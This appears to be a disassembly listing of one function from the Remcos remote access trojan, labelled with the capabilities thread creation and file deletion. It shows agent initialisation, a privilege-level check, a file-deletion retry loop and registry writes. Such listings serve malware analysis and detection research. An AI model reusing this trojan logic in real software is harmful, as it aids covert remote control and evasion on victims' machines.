Function at 0x4099ed
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
sub esp, 0xfc
mov dword [0x464a8c], eax
push ebx
push esi
push edi
call fcn.004144e9
push 0x104
push 0x464a90
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x40]
call fcn.00409e23
sub esp, 0x18
mov ecx, esp
push 0x466fa0
call fcn.004021e0
sub esp, 0x18
lea eax, [esp + 0x70]
mov ecx, esp
push eax
call fcn.004021e0
lea ecx, [esp + 0x54]
call fcn.00413980
add esp, 0x30
push eax
call fcn.0040a1fc
lea ecx, [esp + 0x24]
call fcn.004034fa
mov ecx, dword [ebp + 0x10]
cmp byte [ecx], 0x2d
jne 0x409abe
cmp byte [ecx + 1], 0x6c
jne 0x409abe
movzx eax, byte [ecx + 2]
test al, al
jne 0x409abe
push ecx
push ecx
push 2
push str.license_code.txt
lea ecx, [esp + 0x68]
call fcn.0040a2a2
push 0x34
mov ecx, 0x466e54
call fcn.004034cf
mov ecx, eax
call fcn.00402028
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.0040b62b
lea ecx, [esp + 0x58]
call fcn.0040a253
lea ecx, [esp + 0x58]
call fcn.00409e10
xor esi, esi
inc esi
jmp 0x409b42
mov ebx, 0x466e54
push 3
mov ecx, ebx
call fcn.004034cf
push str._nF2
push 0xe
mov ecx, ebx
call fcn.004034cf
push eax
mov edx, str.Software_
lea ecx, [esp + 0x14]
call fcn.00402a91
pop ecx
mov edx, eax
lea ecx, [esp + 0x28]
call fcn.0040401b
pop ecx
push eax
mov ecx, 0x466f28
call fcn.0040209b
lea ecx, [esp + 0x24]
call fcn.00402091
lea ecx, [esp + 0xc]
call fcn.00402091
push 0xe
mov ecx, ebx
call fcn.004034cf
push eax
mov ecx, 0x466f58
call fcn.00402077
push 0x458e60
mov ecx, 0x466fb8
call fcn.00403f1f
call fcn.00408006
test eax, eax
jne 0x409b56
push 2
pop esi
lea ecx, [esp + 0x40]
call fcn.00402091
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [0x466a1c]
test eax, eax
je 0x409b61
call eax
call fcn.00412fa2
mov eax, dword [0x466a28]
test eax, eax
je 0x409b76
call eax
mov dword [0x4639b0], eax
push 0xe
mov ecx, ebx
call fcn.004034cf
mov edx, eax
lea ecx, [esp + 0xc]
call fcn.00413821
push eax
mov ecx, 0x466ef8
call fcn.00405ceb
lea ecx, [esp + 0xc]
call fcn.004034ff
push 4
mov ecx, ebx
call fcn.004034cf
push 5
mov ecx, ebx
call fcn.004034cf
push 8
mov ecx, ebx
call fcn.004034cf
push 3
mov ecx, ebx
call fcn.004034cf
mov ecx, eax
call fcn.00402028
cmp byte [eax], 0
je 0x409c35
push 0x30
mov ecx, ebx
call fcn.004034cf
mov ecx, eax
call fcn.00402028
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x409be1
sub eax, edx
sar eax, 1
je 0x409c35
push 9
mov ecx, ebx
call fcn.004034cf
mov ecx, eax
call fcn.00402028
push 0x30
mov ecx, ebx
mov esi, eax
call fcn.004034cf
mov ecx, eax
call fcn.00402028
mov dl, byte [esi]
lea ecx, [esp + 0xc]
push eax
call fcn.00408826
pop ecx
push eax
mov ecx, 0x466f40
call fcn.00405ceb
lea ecx, [esp + 0xc]
call fcn.004034ff
push 1
push 0x34
mov ecx, ebx
call fcn.004034cf
mov ecx, eax
call fcn.00402028
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402178
push str.licence
mov ecx, 0x466f28
call fcn.00402028
mov edx, eax
call fcn.0040ca19
add esp, 0x20
mov ecx, ebx
push 0x28
call fcn.004034cf
mov ecx, eax
call fcn.00402028
push eax
call fcn.00432a16
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov byte [0x464a81], al
pop ecx
cmp al, 2
jne 0x409c95
mov cl, 1
jmp 0x409c9b
cmp al, 1
jne 0x409cac
xor cl, cl
call fcn.004146c8
push edi
push edi
push edi
push 0x414f02
push edi
push edi
call esi
sub esp, 0x18
mov ecx, esp
push str.Remcos_Agent_initialized
call fcn.00402178
sub esp, 0x18
mov ebx, 0x458450
mov ecx, esp
push ebx
call fcn.00402178
call fcn.004131c8
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.004132e6
push eax
mov ecx, 0x466f88
call fcn.00405ceb
lea ecx, [esp + 0xc]
call fcn.004034ff
mov eax, dword [0x466a20]
test eax, eax
je 0x409cfc
push edi
call eax
push edi
push edi
push edi
push 0x409ed7
push edi
push edi
call esi
mov eax, dword [0x4639b0]
sub eax, edi
je 0x409d1d
sub eax, 1
jne 0x409d57
push str.Administrator
jmp 0x409d22
push str.User
lea ecx, [esp + 0x10]
call fcn.00402178
sub esp, 0x18
mov edx, str.Access_Level:
mov ecx, esp
push eax
call fcn.00402a6d
sub esp, 0x14
mov ecx, esp
push ebx
call fcn.00402178
call fcn.004131c8
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00402091
mov ebx, 0x466f28
push 0x458eb0
mov ecx, ebx
call fcn.00402028
mov edx, eax
call fcn.0040c7a3
pop ecx
test al, al
je 0x409e05
push ecx
mov edx, ebx
lea ecx, [esp + 0x10]
call fcn.00413821
mov ecx, eax
call fcn.00404459
push eax
lea ecx, [esp + 0x2c]
call fcn.0040c8bf
pop ecx
pop ecx
lea ecx, [esp + 0xc]
call fcn.004034ff
lea ecx, [esp + 0x24]
call fcn.00404459
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x409dc8
cmp edi, 0xa
jge 0x409dcf
push 0xa
inc edi
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x24]
call fcn.00404459
push eax
call esi
test eax, eax
je 0x409db1
push 0x458eb4
mov edx, ebx
lea ecx, [esp + 0x10]
call fcn.00413821
mov ecx, eax
call fcn.00404459
mov edx, eax
mov ecx, 0x80000001
call fcn.0040cc5b
pop ecx
lea ecx, [esp + 0xc]
call fcn.004034ff
lea ecx, [esp + 0x24]
call fcn.004034ff
call fcn.00408b14
call fcn.0040e1a6
int3